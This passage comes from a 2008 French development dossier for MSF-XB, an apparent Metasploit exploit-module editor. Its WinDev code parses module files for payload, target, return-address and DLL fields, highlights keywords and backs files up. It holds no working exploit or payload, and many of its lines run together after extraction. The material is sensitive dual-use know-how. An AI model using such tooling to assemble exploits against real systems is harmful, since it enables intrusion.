ARCHITECTURE = ExtraitChaîne(LigneLue,4,"'")SI Taille(ARCHITECTURE)<2 ALORS ARCHITECTURE=""

FIN

//OS

Page 857: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 863

SI ExtraitChaîne(LigneLue,2,"'")="OS" THENOS = ExtraitChaîne(LigneLue,4,"'")SI Taille(OS)<2 ALORS

OS=""SINON

MonCpt=6TANTQUE Taille( ExtraitChaîne(LigneLue,MonCpt,"'") )>2

OS+=" "+ExtraitChaîne(LigneLue,MonCpt,"'")MonCpt+=2

FINFIN

FIN

//PAYLOADSI ExtraitChaîne(LigneLue,2,"'")="Payload" THEN

LigneLue=NoSpace( Remplace(fLitLigne(numfic),TAB,"") )SI Taille(lignelue)<2 ALORS LigneLue=NoSpace( Remplace(fLitLigne(numfic),TAB,"") )SI Gauche(LigneLue,1)="#" ALORS LigneLue=NoSpace( Remplace(fLitLigne(numfic),TAB,"") )

//tantque ExtraitChaîne(LigneLue,2,"'")<>"Description" and ExtraitChaîne(LigneLue,2,"'")<>"Refs" and NoSpace( ExtraitChaîne(LigneLue,2,"'") )<>"Keys"

EXTRACT_PAYLOAD()// info(lignelue)

// fin

FIN //PAYLOAD

//DESCRIPTIONSI ExtraitChaîne(LigneLue,2,"'")="Description" THEN

LigneLue=NoSpace( Remplace(fLitLigne(numfic),TAB,"") )TANTQUE ChaîneOccurrence(LigneLue,"}")=0 ET LigneLue<>EOT

SI ChaîneOccurrence(LigneLue,"{")=0 ALORSDESCRIPTION += Remplace(NoSpace(LigneLue),TAB,"")+" "

FINLigneLue=fLitLigne(numfic)

FINFIN

//REFERENCES (URLs)SI ExtraitChaîne(LigneLue,2,"'")="Refs" OR ExtraitChaîne(LigneLue,2,"'")="References" THEN

IF ChaîneOccurrence(LigneLue,"],")>0 ALORSLignelue = NoSpace( Remplace(Remplace( ExtraitChaîne(LigneLue,2,"=>"),"[ [","["),"] ],","]") )TEST_REFERENCE()

Page 858: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 864

SINONTANTQUE NoSpace(LigneLue)<>"]," ET LigneLue<>EOT

LigneLue=NoSpace(Remplace(fLitLigne(numfic),TAB,""))SI NoSpace(LigneLue)<>"[" AND NoSpace(LigneLue)<>"]," ALORS

LigneLue = NoSpace(Remplace(LigneLue,"],","]"))

// REFERENCE += LigneLue +RCTEST_REFERENCE()

FIN

FIN //tantque nospace(LigneLue)<>"]," et LigneLue<>EOTFIN

FIN

//TARGETSSI ExtraitChaîne(LigneLue,2,"'")="Targets" THEN

IF ChaîneOccurrence(LigneLue,"],")>0 ALORSLigneLue = NoSpace( Remplace(Remplace( ExtraitChaîne(LigneLue,2,"=>"),"[ [","["),"] ],","]") )

// info("DEBUG1: "+lignelue)// TEST_REFERENCE()

SINONtempLigneLue is stringSI Droite(Upper(SAIS_FIC),3)=".PM" ALORS//MSF 2.x

TANTQUE NoSpace(LigneLue)<>"]," ET LigneLue<>EOTLigneLue=NoSpace(Remplace(fLitLigne(NumFic),TAB,""))SI NoSpace(LigneLue)<>"[" AND NoSpace(LigneLue)<>"]," ALORS

tempLigneLue=LigneLue

tempLigneLue = NoSpace(Remplace(LigneLue,"],","]"))tempLigneLue = ExtraitChaîne(LigneLue, 2, "'")SI Taille(tempLigneLue)>1 ALORS

// info(tempLigneLue)

//Adresse de retour?SI ChaîneOccurrence(lignelue, "0x")>0 ALORS// info("DEBUG ret: "+ExtraitChaîne(LigneLue,2,"0x"))

tempLigneLue+=TAB+"0x"+Gauche( ExtraitChaîne(lignelue,2,"0x"), 8)SI ADRESSE_RETOUR="" ALORS ADRESSE_RETOUR= "0x" + Gauche( ExtraitChaîne(LigneLue,2,"0x"), 8)

FIN//DLL?SI ChaîneOccurrence(Upper(LigneLue), ".DLL")>0 ALORS

tempLigneLue+= TAB+ExtraitChaîne( ExtraitChaîne(Upper(LigneLue),1,".DLL") ,1, " ", DepuisFin) + ".DLL"SI DLL="" ALORS DLL= ExtraitChaîne( ExtraitChaîne(Upper(LigneLue),1,".DLL") ,1, " ", DepuisFin) + ".DLL"

Page 859: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 865

FIN

ListeAjoute(COMBO_TARGET, tempLigneLue)COMBO_TARGET=1

FIN

tempLigneLue = NoSpace(Remplace(LigneLue,"],","]"))tempLigneLue = ExtraitChaîne(LigneLue, 2, Caract(34))SI Taille(tempLigneLue)>1 ALORS

//Adresse de retour?SI ChaîneOccurrence(LigneLue, "0x")>0 ALORS

// info("DEBUG ret: "+ExtraitChaîne(LigneLue,2,"0x"))tempLigneLue+=TAB+"0x"+Gauche( ExtraitChaîne(LigneLue,2,"0x"), 8)SI ADRESSE_RETOUR="" ALORS ADRESSE_RETOUR= "0x" + Gauche( ExtraitChaîne(LigneLue,2,"0x"), 8)

FIN//DLL?SI ChaîneOccurrence(Upper(LigneLue), ".DLL")>0 ALORS

tempLigneLue+= TAB+ExtraitChaîne( ExtraitChaîne(Upper(LigneLue),1,".DLL") ,1, " ", DepuisFin) + ".DLL"SI DLL="" ALORS DLL= ExtraitChaîne( ExtraitChaîne(Upper(LigneLue),1,".DLL") ,1, " ", DepuisFin) + ".DLL"

FIN

ListeAjoute(COMBO_TARGET, tempLigneLue)COMBO_TARGET=1

FIN

// Info("DEBUG2: "+LigneLue)

// REFERENCE += LigneLue +RC// TEST_REFERENCE()FIN

FIN //tantque nospace(LigneLue)<>"]," et LigneLue<>EOTFIN

//********************************************************************************************************************************************************************************

//************* TARGETS ************************************************** MSF3 **************************************************************************************************

//********************************************************************************************************************************************************************************

SI Droite(Upper(SAIS_FIC),3)=".RB" ALORS //MSF 3.x

Page 860: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 866

TANTQUE ChaîneOccurrence(lignelue, "DisclosureDate")<1 ET NoSpace(lignelue)<>"end" ET LigneLue<>EOTLigneLue=NoSpace(Remplace(fLitLigne(NumFic),TAB,""))SI NoSpace(LigneLue)<>"[" AND NoSpace(LigneLue)<>"]," AND NoSpace(LigneLue)<>"{" AND NoSpace(LigneLue)<>"}," ET ChaîneOccurrence(LigneLue, "Platform")<1 ALORS

tempLigneLue=LigneLue

// tempLigneLue = NoSpace(Remplace(LigneLue,"],","]"))tempLigneLue = ExtraitChaîne(LigneLue, 2, "'")

// info(tempLigneLue)SI Taille(tempLigneLue)>1 ALORS

//Adresse de retour?SI ChaîneOccurrence(LigneLue, "0x")>0 ALORS

// info("DEBUG ret: "+ExtraitChaîne(LigneLue,2,"0x"))tempLigneLue+=TAB+"0x"+Gauche( ExtraitChaîne(LigneLue,2,"0x"), 8)SI ADRESSE_RETOUR="" ALORS ADRESSE_RETOUR= "0x" + Gauche( ExtraitChaîne(LigneLue,2,"0x"), 8)

FIN//DLL?SI ChaîneOccurrence(Upper(LigneLue), ".DLL")>0 ALORS

tempLigneLue+= TAB+ExtraitChaîne( ExtraitChaîne(Upper(LigneLue),1,".DLL") ,1, " ", DepuisFin) + ".DLL"SI DLL="" ALORS DLL= ExtraitChaîne( ExtraitChaîne(Upper(LigneLue),1,".DLL") ,1, " ", DepuisFin) + ".DLL"

FIN

ListeAjoute(COMBO_TARGET, tempLigneLue)COMBO_TARGET=1

FINFIN

FINFIN

FINFIN

SI NoSpace( ExtraitChaîne(LigneLue,2,"'") )="Keys" THENKEY = ExtraitChaîne(LigneLue,4,"'")SI Taille(KEY)<2 ALORS KEY=""

FIN

SI NoSpace( ExtraitChaîne(lignelue,2,"'") )="DisclosureDate" THENDATE_DIVULGATION = ExtraitChaîne(LigneLue,4,"'")SI Taille(DATE_DIVULGATION)<2 ALORS DATE_DIVULGATION=""

FIN

lignelue = fLitLigne(NumFic)FIN //FIN tantque lignelue<>EOT

Page 861: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 867

fFerme(numfic)END

Sortie de SAIS_FIC ( SCSelecteurFichier )//monparent = SAIS_FIC

Clic sur BTN_SYST_FERMER ( SCSystemButtons )

Clic sur BTN_Syst_Maximize ( SCSystemButtons )

Clic sur BTN_SYST_MINIMIZE ( SCSystemButtons )

Clic sur BTN_UMC ( SCSystemButtons )

Clic sur TROUVE_DATEFIND_DATE()

Page 862: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProcéduresPartie 4

26/10/2008 868

MSFXB_Editor Procédures

Procédure locale COLORATION_SYNTAXIQUE// Résumé : <indiquez ici ce que fait la procédure>// Syntaxe ://COLORATION_SYNTAXIQUE ()//// Paramètres :// Aucun// Valeur de retour :// Aucune//// Exemple :// Indiquez ici un exemple d'utilisation.//PROCEDURE COLORATION_SYNTAXIQUE()

SI nCOLORATION_SYNTAXIQUE_ACTIVE=0 ALORS RETOUR

strChaineTraitement is string="#Edited with MSF-eXploit Builder by Jerome Athias - https://www.securinfos.info"

SI ChaîneOccurrence(SCRTF.SaisieTexte, strChaineTraitement)=0 ALORS// RTFAjoute(SCRTF.SaisieTexte,RC+RC+strChaineTraitement)FIN

//Coloration syntaxique dans le champ de saisie RTFI is int

I = RTFRecherche(SCRTF.SaisieTexte, strChaineTraitement)

TANTQUE I>0// Passage en rougeRTFSélection(SCRTF.SaisieTexte, rtfCouleur, iRougeClair, I, Taille(strChaineTraitement))// Passage en souligné//RTFSélection(SCRTF.SaisieTexte, rtfSouligné, Vrai, I, Taille(strChaineTraitement))// Passage en italique

// RTFSélection(SCRTF.SaisieTexte, rtfItalique, Vrai, I, Taille(strChaineTraitement))// recherche du suivantI = RTFRecherche(SCRTF.SaisieTexte, strChaineTraitement, rtfSensibleCasse, I+1)

Page 863: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProcéduresPartie 4

26/10/2008 869

FIN

strChaineTraitement="'Name'"I = RTFRecherche(SCRTF.SaisieTexte, strChaineTraitement)TANTQUE I>0

// Passage en bleuRTFSélection(SCRTF.SaisieTexte, rtfCouleur, iBleuFoncé, I, Taille(strChaineTraitement))// Passage en grasRTFSélection(SCRTF.SaisieTexte, rtfGras, Vrai, I, Taille(strChaineTraitement))I = RTFRecherche(SCRTF.SaisieTexte, strChaineTraitement, rtfSensibleCasse, I+1)

FINstrChaineTraitement="'Description'"I = RTFRecherche(SCRTF.SaisieTexte, strChaineTraitement)TANTQUE I>0

// Passage en bleuRTFSélection(SCRTF.SaisieTexte, rtfCouleur, iBleuFoncé, I, Taille(strChaineTraitement))// Passage en grasRTFSélection(SCRTF.SaisieTexte, rtfGras, Vrai, I, Taille(strChaineTraitement))I = RTFRecherche(SCRTF.SaisieTexte, strChaineTraitement, rtfSensibleCasse, I+1)

FINstrChaineTraitement="'Author'"I = RTFRecherche(SCRTF.SaisieTexte, strChaineTraitement)TANTQUE I>0

// Passage en bleuRTFSélection(SCRTF.SaisieTexte, rtfCouleur, iBleuFoncé, I, Taille(strChaineTraitement))// Passage en grasRTFSélection(SCRTF.SaisieTexte, rtfGras, Vrai, I, Taille(strChaineTraitement))I = RTFRecherche(SCRTF.SaisieTexte, strChaineTraitement, rtfSensibleCasse, I+1)

FINstrChaineTraitement="'License'"I = RTFRecherche(SCRTF.SaisieTexte, strChaineTraitement)TANTQUE I>0

// Passage en bleuRTFSélection(SCRTF.SaisieTexte, rtfCouleur, iBleuFoncé, I, Taille(strChaineTraitement))// Passage en grasRTFSélection(SCRTF.SaisieTexte, rtfGras, Vrai, I, Taille(strChaineTraitement))I = RTFRecherche(SCRTF.SaisieTexte, strChaineTraitement, rtfSensibleCasse, I+1)

FINstrChaineTraitement="'Version'"I = RTFRecherche(SCRTF.SaisieTexte, strChaineTraitement)TANTQUE I>0

// Passage en bleuRTFSélection(SCRTF.SaisieTexte, rtfCouleur, iBleuFoncé, I, Taille(strChaineTraitement))// Passage en grasRTFSélection(SCRTF.SaisieTexte, rtfGras, Vrai, I, Taille(strChaineTraitement))I = RTFRecherche(SCRTF.SaisieTexte, strChaineTraitement, rtfSensibleCasse, I+1)

Page 864: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProcéduresPartie 4

26/10/2008 870

FINstrChaineTraitement="'References'"I = RTFRecherche(SCRTF.SaisieTexte, strChaineTraitement)TANTQUE I>0

// Passage en bleuRTFSélection(SCRTF.SaisieTexte, rtfCouleur, iBleuFoncé, I, Taille(strChaineTraitement))// Passage en grasRTFSélection(SCRTF.SaisieTexte, rtfGras, Vrai, I, Taille(strChaineTraitement))I = RTFRecherche(SCRTF.SaisieTexte, strChaineTraitement, rtfSensibleCasse, I+1)

FINstrChaineTraitement="'Privileged'"I = RTFRecherche(SCRTF.SaisieTexte, strChaineTraitement)TANTQUE I>0

// Passage en bleuRTFSélection(SCRTF.SaisieTexte, rtfCouleur, iBleuFoncé, I, Taille(strChaineTraitement))// Passage en grasRTFSélection(SCRTF.SaisieTexte, rtfGras, Vrai, I, Taille(strChaineTraitement))I = RTFRecherche(SCRTF.SaisieTexte, strChaineTraitement, rtfSensibleCasse, I+1)

FINstrChaineTraitement="'Payload'"I = RTFRecherche(SCRTF.SaisieTexte, strChaineTraitement)TANTQUE I>0

// Passage en bleuRTFSélection(SCRTF.SaisieTexte, rtfCouleur, iBleuFoncé, I, Taille(strChaineTraitement))// Passage en grasRTFSélection(SCRTF.SaisieTexte, rtfGras, Vrai, I, Taille(strChaineTraitement))I = RTFRecherche(SCRTF.SaisieTexte, strChaineTraitement, rtfSensibleCasse, I+1)

FINstrChaineTraitement="'Space'"I = RTFRecherche(SCRTF.SaisieTexte, strChaineTraitement)TANTQUE I>0

// Passage en bleuRTFSélection(SCRTF.SaisieTexte, rtfCouleur, iBleuClair, I, Taille(strChaineTraitement))// Passage en grasRTFSélection(SCRTF.SaisieTexte, rtfGras, Vrai, I, Taille(strChaineTraitement))I = RTFRecherche(SCRTF.SaisieTexte, strChaineTraitement, rtfSensibleCasse, I+1)

FINstrChaineTraitement="'BadChars'"I = RTFRecherche(SCRTF.SaisieTexte, strChaineTraitement)TANTQUE I>0

// Passage en bleuRTFSélection(SCRTF.SaisieTexte, rtfCouleur, iRougeFoncé, I, Taille(strChaineTraitement))// Passage en grasRTFSélection(SCRTF.SaisieTexte, rtfGras, Vrai, I, Taille(strChaineTraitement))I = RTFRecherche(SCRTF.SaisieTexte, strChaineTraitement, rtfSensibleCasse, I+1)

FIN

Page 865: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProcéduresPartie 4

26/10/2008 871

strChaineTraitement="payload_badchars"I = RTFRecherche(SCRTF.SaisieTexte, strChaineTraitement)TANTQUE I>0

// Passage en bleuRTFSélection(SCRTF.SaisieTexte, rtfCouleur, iRougeFoncé, I, Taille(strChaineTraitement))// Passage en grasRTFSélection(SCRTF.SaisieTexte, rtfGras, Vrai, I, Taille(strChaineTraitement))I = RTFRecherche(SCRTF.SaisieTexte, strChaineTraitement, rtfSensibleCasse, I+1)

FINstrChaineTraitement="'StackAdjustment'"I = RTFRecherche(SCRTF.SaisieTexte, strChaineTraitement)TANTQUE I>0

// Passage en bleuRTFSélection(SCRTF.SaisieTexte, rtfCouleur, iBleuClair, I, Taille(strChaineTraitement))// Passage en grasRTFSélection(SCRTF.SaisieTexte, rtfGras, Vrai, I, Taille(strChaineTraitement))I = RTFRecherche(SCRTF.SaisieTexte, strChaineTraitement, rtfSensibleCasse, I+1)

FINstrChaineTraitement="'Platform'"I = RTFRecherche(SCRTF.SaisieTexte, strChaineTraitement)TANTQUE I>0

// Passage en bleuRTFSélection(SCRTF.SaisieTexte, rtfCouleur, iBleuFoncé, I, Taille(strChaineTraitement))// Passage en grasRTFSélection(SCRTF.SaisieTexte, rtfGras, Vrai, I, Taille(strChaineTraitement))I = RTFRecherche(SCRTF.SaisieTexte, strChaineTraitement, rtfSensibleCasse, I+1)

FINstrChaineTraitement="'Targets'"I = RTFRecherche(SCRTF.SaisieTexte, strChaineTraitement)TANTQUE I>0

// Passage en bleuRTFSélection(SCRTF.SaisieTexte, rtfCouleur, iBleuFoncé, I, Taille(strChaineTraitement))// Passage en grasRTFSélection(SCRTF.SaisieTexte, rtfGras, Vrai, I, Taille(strChaineTraitement))I = RTFRecherche(SCRTF.SaisieTexte, strChaineTraitement, rtfSensibleCasse, I+1)

FINstrChaineTraitement="'Ret'"I = RTFRecherche(SCRTF.SaisieTexte, strChaineTraitement)TANTQUE I>0

// Passage en bleuRTFSélection(SCRTF.SaisieTexte, rtfCouleur, iCyanFoncé, I, Taille(strChaineTraitement))// Passage en grasRTFSélection(SCRTF.SaisieTexte, rtfGras, Vrai, I, Taille(strChaineTraitement))I = RTFRecherche(SCRTF.SaisieTexte, strChaineTraitement, rtfSensibleCasse, I+1)

FINstrChaineTraitement="[target.ret]"

Page 866: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProcéduresPartie 4

26/10/2008 872

I = RTFRecherche(SCRTF.SaisieTexte, strChaineTraitement)TANTQUE I>0

// Passage en bleuRTFSélection(SCRTF.SaisieTexte, rtfCouleur, iCyanFoncé, I, Taille(strChaineTraitement))// Passage en grasRTFSélection(SCRTF.SaisieTexte, rtfGras, Vrai, I, Taille(strChaineTraitement))I = RTFRecherche(SCRTF.SaisieTexte, strChaineTraitement, rtfSensibleCasse, I+1)

FINstrChaineTraitement="'DisclosureDate'"I = RTFRecherche(SCRTF.SaisieTexte, strChaineTraitement)TANTQUE I>0

// Passage en bleuRTFSélection(SCRTF.SaisieTexte, rtfCouleur, iBleuFoncé, I, Taille(strChaineTraitement))// Passage en grasRTFSélection(SCRTF.SaisieTexte, rtfGras, Vrai, I, Taille(strChaineTraitement))I = RTFRecherche(SCRTF.SaisieTexte, strChaineTraitement, rtfSensibleCasse, I+1)

FINstrChaineTraitement="'DefaultTarget'"I = RTFRecherche(SCRTF.SaisieTexte, strChaineTraitement)TANTQUE I>0

// Passage en bleuRTFSélection(SCRTF.SaisieTexte, rtfCouleur, iBleuFoncé, I, Taille(strChaineTraitement))// Passage en grasRTFSélection(SCRTF.SaisieTexte, rtfGras, Vrai, I, Taille(strChaineTraitement))I = RTFRecherche(SCRTF.SaisieTexte, strChaineTraitement, rtfSensibleCasse, I+1)

FIN

Procédure locale EDITER_MODULEPROCEDURE EDITER_MODULE()

//if SCSelecteurFichier..Valeur<>"" thenIF SCSelecteurFichier.SAIS_FIC<>"" AND Droite(SCSelecteurFichier.SAIS_FIC,1)<>"\" THEN

VIDER_CHAMPS()

SI PAS EnModeTest ALORSSI OuiNon("Voulez-vous sauvegarder le fichier "+RC+SCSelecteurFichier.SAIS_FIC+" ?") ALORS

// Déclaration et initialisation des variables// NomArchive est une chaîne = extraitchaine(SAIS_FIC,1, "\", depuisfin) +".zip"CheminArchive est une chaîne = Remplace(SCSelecteurFichier.SAIS_FIC,".pm","_"+DateSys()+"_"+HeureSys()+".zip")CheminArchive=Remplace(CheminArchive,".rb","_"+DateSys()+"_"+HeureSys()+".zip")ResCréationArchive est un entier

Page 867: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProcéduresPartie 4

26/10/2008 873

// Sélection du nom de l'archive. LibelléNomArchive est un champ de saisie.// NomArchive = LibelléNomArchive

// Sélection du chemin de l'archive// CheminArchive = fRepSélecteur("", "", "Sélection du répertoire")

// Création de l'archive "MonArchive"ResCréationArchive = zipCrée("MonArchive", CheminArchive)iERROR is int=0

// Affichage du message d'erreur si la création n'a pas été effectuéeSI ResCréationArchive <> 0 ALORS

Erreur(zipMsgErreur(ResCréationArchive))iERROR=1

SINON// Ajout du fichier dans l'archiveResCréationArchive=zipAjouteFichier("MonArchive",SCSelecteurFichier.SAIS_FIC,zipAucun)

SI ResCréationArchive <> 0 ALORSErreur(zipMsgErreur(ResCréationArchive))iERROR=2

FINFIN

// Fermeture de l'archivezipFerme("MonArchive")

SI iERROR=0 ALORSMessage("Fichier sauvegardé dans: "+CheminArchive)

FINFIN

FIN

FichierDeTravail is string=fRepEnCours()+"\MSF-XB.TXT"

fSupprime(FichierDeTravail,frLectureSeule)

//COPIE DE L'EXPLOIT DANS LE FICHIER DE TRAVAIL//fCopieFichier(SCSelecteurFichier..Valeur,FichierDeTravail)

//TRAITEMENT DU FICHIER DE TRAVAIL POUR LECTURE CORRECTENumFic = fOuvre(SCSelecteurFichier.SAIS_FIC,foLecture)

IF COMPIL_JAVA=0 THEN// LigneLue=fLitLigne(NumFic)

Page 868: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProcéduresPartie 4

26/10/2008 874

// //Si c'est un fichier au format Linux// SI Upper(Droite(SCSelecteurFichier.SAIS_FIC,3))=".PM" AND Taille(LigneLue)>4 ALORS// LigneLue=Remplace(LigneLue,Caract(10),RC) //Remplace les LF (format Linux) par des CRLF (= RC) (Format Windows)// EXPLOIT_CODE=LigneLue// SINON //Fichier au format Windows

EXPLOIT_CODE=fChargeTexte(SCSelecteurFichier.SAIS_FIC)EXPLOIT_CODE=Remplace(EXPLOIT_CODE, Caract(13),"") //On vire les CR (Format Windows) - pour être sûrEXPLOIT_CODE=Remplace(EXPLOIT_CODE, Caract(10),RC) //On remplace les LF par CRLF

// FINELSE //IN JAVA

LigneLue=fLitLigne(NumFic)TANTQUE LigneLue<>EOT

EXPLOIT_CODE+=LigneLue+RCLigneLue=fLitLigne(NumFic)

FINEND

fFerme(NumFic)

NumFic = fOuvre(FichierDeTravail,foCréation)

fEcrit(NumFic,EXPLOIT_CODE)fFerme(NumFic)

NumFic = fOuvre(FichierDeTravail,foLecture)

LigneLue = fLitLigne(NumFic)TANTQUE LigneLue<>EOT

//NOM DE L'EXPLOIT//si extraitchaine(LigneLue,2,"'")="Name" thenIF ChaîneOccurrence(LigneLue,"Name")>0 AND ChaîneOccurrence(LigneLue,"=>")>0 THEN

NOM = ExtraitChaîne(LigneLue,4,"'")SI Taille(NOM)<2 ALORS NOM=""

FIN

//VERSION DE L'EXPLOIT//si extraitchaine(LigneLue,2,"'")="Version" thenIF ChaîneOccurrence(LigneLue,"'Version'")>0 AND ChaîneOccurrence(LigneLue,"=>")>0 THEN

VERSION = ExtraitChaîne(LigneLue,4,"'")FIN

//AUTEURSSI ExtraitChaîne(LigneLue,2,"'")="Authors" OU ExtraitChaîne(LigneLue,2,"'")="Author" THEN

AUTEURS = ExtraitChaîne(LigneLue,4,"'")

Page 869: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProcéduresPartie 4

26/10/2008 875

SI Taille(AUTEURS)<2 ALORSAUTEURS=""

//TEST SUR LA LIGNE SUIVANTELigneLue=NoSpace( Remplace(fLitLigne(NumFic),TAB,"") )// AUTEURS=extraitchaine(lignelue,2,"'")// SI taille(AUTEURS)<2 alors LigneLue=nospace( remplace(flitligne(numfic),tab,"") )SI LigneLue<>"]," AND Taille(ExtraitChaîne(LigneLue,2,"'"))>4 AND ChaîneOccurrence(LigneLue, "License")<1 AND ChaîneOccurrence(LigneLue, "Version")<1 ALORS

AUTEURS+= ExtraitChaîne(LigneLue,2,"'")SINON

IF ChaîneOccurrence(LigneLue,"'Version'")>0 AND ChaîneOccurrence(LigneLue,"=>")>0 THENVERSION = ExtraitChaîne(LigneLue,4,"'")

FINFIN

//Des autres auteurs?LigneLue=NoSpace(Remplace(fLitLigne(NumFic),TAB,""))SI LigneLue<>"]," AND Taille(ExtraitChaîne(LigneLue,2,"'"))>4 AND ChaîneOccurrence(LigneLue, "License")<1 AND ChaîneOccurrence(LigneLue, "Version")<1 ALORS

SI NoSpace(AUTEURS)<>"" ALORS AUTEURS+= RCAUTEURS+= ExtraitChaîne(LigneLue,2,"'")//Des autres auteurs?LigneLue=NoSpace(Remplace(fLitLigne(NumFic),TAB,""))SI LigneLue<>"]," AND Taille(ExtraitChaîne(LigneLue,2,"'"))>4 AND ChaîneOccurrence(LigneLue, "License")<1 AND ChaîneOccurrence(LigneLue, "Version")<1 ALORS

SI NoSpace(AUTEURS)<>"" ALORS AUTEURS+= RCAUTEURS+= ExtraitChaîne(LigneLue,2,"'")

SINONIF ChaîneOccurrence(LigneLue,"'Version'")>0 AND ChaîneOccurrence(LigneLue,"=>")>0 THEN

VERSION = ExtraitChaîne(LigneLue,4,"'")FIN

FINSINON

IF ChaîneOccurrence(LigneLue,"'Version'")>0 AND ChaîneOccurrence(LigneLue,"=>")>0 THENVERSION = ExtraitChaîne(LigneLue,4,"'")

FINFIN

SINON//Des autres auteurs?SI ChaîneOccurrence(LigneLue,"', '")>0 ALORS

SI Taille( ExtraitChaîne(LigneLue,6,"'") )>2 ALORSAUTEURS+= RC+ ExtraitChaîne(LigneLue,6,"'")

FIN

Page 870: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProcéduresPartie 4

26/10/2008 876

FIN

LigneLue=NoSpace(Remplace(fLitLigne(NumFic),TAB,""))SI LigneLue<>"]," AND Taille(ExtraitChaîne(LigneLue,2,"'"))>4 AND ChaîneOccurrence(LigneLue, "License")<1 AND ChaîneOccurrence(LigneLue, "Version")<1 ALORS

SI NoSpace(AUTEURS)<>"" ALORS AUTEURS+= RCAUTEURS+= ExtraitChaîne(LigneLue,2,"'")

//Des autres auteurs?LigneLue=NoSpace(Remplace(fLitLigne(NumFic),TAB,""))SI LigneLue<>"]," AND Taille(ExtraitChaîne(LigneLue,2,"'"))>4 AND ChaîneOccurrence(LigneLue, "License")<1 AND ChaîneOccurrence(LigneLue, "Version")<1 ALORS

SI NoSpace(AUTEURS)<>"" ALORS AUTEURS+= RCAUTEURS+= ExtraitChaîne(LigneLue,2,"'")

SINONIF ChaîneOccurrence(LigneLue,"'Version'")>0 AND ChaîneOccurrence(LigneLue,"=>")>0 THEN

VERSION = ExtraitChaîne(LigneLue,4,"'")FIN

FINSINON

IF ChaîneOccurrence(LigneLue,"'Version'")>0 AND ChaîneOccurrence(LigneLue,"=>")>0 THENVERSION = ExtraitChaîne(LigneLue,4,"'")

FINFIN

FINFIN

SI Taille(VERSION)<2 ALORS VERSION=""SI Taille(AUTEURS)<2 ALORS

AUTEURS=""FIN

//ARCHITECTURE//si extraitchaine(LigneLue,2,"'")="Arch" thenIF ChaîneOccurrence(LigneLue,"Arch")>0 AND ChaîneOccurrence(LigneLue,"=>")>0 THEN

ARCHITECTURE = ExtraitChaîne(LigneLue,4,"'")SI Taille(ARCHITECTURE)<2 ALORS ARCHITECTURE=""

FIN

//OSSI ExtraitChaîne(LigneLue,2,"'")="OS" THEN

OS = ExtraitChaîne(LigneLue,4,"'")SI Taille(OS)<2 ALORS

OS=""SINON

Page 871: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProcéduresPartie 4

26/10/2008 877

MonCpt=6TANTQUE Taille( ExtraitChaîne(LigneLue,MonCpt,"'") )>2

OS+=" "+ExtraitChaîne(LigneLue,MonCpt,"'")MonCpt+=2

FINFIN

FIN

//PAYLOADSI ExtraitChaîne(LigneLue,2,"'")="Payload" THEN

LigneLue=NoSpace( Remplace(fLitLigne(NumFic),TAB,"") )SI Taille(LigneLue)<2 ALORS LigneLue=NoSpace( Remplace(fLitLigne(NumFic),TAB,"") )SI Gauche(LigneLue,1)="#" ALORS LigneLue=NoSpace( Remplace(fLitLigne(NumFic),TAB,"") )

//tantque ExtraitChaîne(LigneLue,2,"'")<>"Description" and ExtraitChaîne(LigneLue,2,"'")<>"Refs" and NoSpace( ExtraitChaîne(LigneLue,2,"'") )<>"Keys"

EXTRACT_PAYLOAD()// info(lignelue)// fin

FIN //PAYLOAD

//DESCRIPTIONSI ExtraitChaîne(LigneLue,2,"'")="Description" THEN

LigneLue=NoSpace( Remplace(fLitLigne(NumFic),TAB,"") )TANTQUE ChaîneOccurrence(LigneLue,"}")=0 ET LigneLue<>EOT

